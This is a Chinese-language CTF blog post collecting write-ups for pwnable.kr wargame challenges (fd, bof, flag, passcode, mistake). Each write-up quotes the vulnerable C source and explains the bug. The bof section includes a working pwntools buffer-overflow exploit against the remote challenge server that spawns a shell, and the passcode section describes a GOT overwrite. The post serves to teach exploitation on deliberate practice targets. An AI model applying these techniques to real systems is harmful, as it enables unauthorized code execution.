B^B .. Oh

一群爱搞事情的小弱鸡

pwnable.kr writeup 汇总(持续更新)

fd

接上一篇文章对read函数的分析,ssh连接以后发现flag不可读

便分析fd.c ,代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a numbern");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWINn", buf)){
printf("good job :)n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IOn");
return 0;
}

首先,程序一开始会判断命令行参数个数,小于2的话直接打印“pass。。。。”并退出。因此,在执行fd的时候后面需要跟一个参数。

argc:命令行总的参数的个数,即argv中元素的格式。

*argv[ ]:字符串数组,用来存放指向你的字符串参数的指针数组,每一个元素指向一个参数。

argv[0]:指向程序的全路径名。

argv[1]:指向在DOS命令行中执行程序名后的第一个字符串。

argv[2]:指向第二个字符串。

继续分析下面

atoi (表示 ascii to integer)是把字符串转换成整型数的一个函数

fd=argv[1]的数值与0x1234相减(0x1234=4660),然后执行read函数,,将buf中的内容与“LETEWEIN”做比较,相等的话,返回值为0,根据上篇文章可知,当fd=0时,表示标准输入,因此argv[1]需等于4660,然后输入LETMEEWIN,即可查看flag。

collision

bof

kaka@ubuntu:~/pwn_test/pwnable.kr$ checksec bof
[*] '/home/kaka/pwn_test/pwnable.kr/bof'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

bof是一个32位程序,且数据不可执行
查看题目提供的c代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme);    // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

可知程序会调用一个func函数,它自带一个参数,执行完输入以后,会将该参数0xdeadbeef与0xcafebabe进行比较,相同则getshell,这样我们就可以通过溢出覆盖函数的参数

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#p=process('./bof')
p=remote('pwnable.kr',9000)
#p.recv()
payload='a'*52+p32(0xcafebabe)
p.sendline(payload)
p.interactive()

可能是因为程序没有setbuf操作,所以本地执行的exp与远程不一致

flag

有题目可知,这是一道逆向题,用ida打开后发现函数极少,且发现string中有upx,怀疑是upx加壳,在linux用upx -d flag 脱壳,再用ida分析

《pwnable.kr  writeup 汇总(持续更新)》

程序首先开一个堆空间,然后向将flag复制到里面,这样我们直接找flag处的直接可以了

passcode

首先看了一下passcode.c文件,里面包含一个welcome函数跟一个login函数,login函数里面包含用户名跟密码,尝试运行程序登陆了一下,提示段错误???

仔细看了一下passcode.c,发现了一个问题

《pwnable.kr  writeup 汇总(持续更新)》

scanf写入的地址是passcode1的值,而不是它的地址,这就导致了任意地址写

仔细观察后发现,如果要进行一次可控的任意地址写,就必须提前控制passcode1的值,通过main函数可以得知先调用了welcome函数,又调用了login函数,这中间没有其他操作,可以猜测,两者的ebp值是相等的,经过测试,确实一样

《pwnable.kr  writeup 汇总(持续更新)》

《pwnable.kr  writeup 汇总(持续更新)》

wlcome函数中,name是从ebp-0x70开始输入的

《pwnable.kr  writeup 汇总(持续更新)》

login函数中 ,passcode1是从ebp-0x10开始输入的

《pwnable.kr  writeup 汇总(持续更新)》

因为got表可写,可以先控制passcode1的值为fflush的got的地址
,再将其改写为getflag的地址

《pwnable.kr  writeup 汇总(持续更新)》

random

mistake

根据题目提示:是因为优先级的问题

源码

#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %dn", fd);
return 0;
}
printf("do not bruteforce...n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read errorn");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OKn");
system("/bin/cat flagn");
}
else{
printf("Wrong Passwordn");
}
close(fd);
return 0;
}

整体流程就是把password的句柄返回给fd,然后从fd读取10字节,对用户输入做一次异或,然后与读取的password作比较,然而以上都是预设的流程,然而实际上。。。

问题出现在这个地方

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)

比较运算符的优先级要高于赋值运算符,因此首先进行open("/home/mistake/password",O_RDONLY,0400) < 0这个比较的结果肯定为假

这里可以自己写一个程序测试一下

《pwnable.kr  writeup 汇总(持续更新)》

open函数的定义形式:int open(const char *pathname, int flags);

返回值:

  • 返回值是一个整数。
  • 打开文件成功,返回文件描述符。
  • 打开文件失败,返回-1。

因此他们比较的结果为0,然后执行赋值语句fd = 0,从前面的题目中可以知道fd=0时,函数从stdin,即标准输入读入,因此会接收用户输入作为password,我们第二次输入的值与1抑或只要等于第一次输入的password即可

mistake@ubuntu:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, ********************confuses me :(
点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注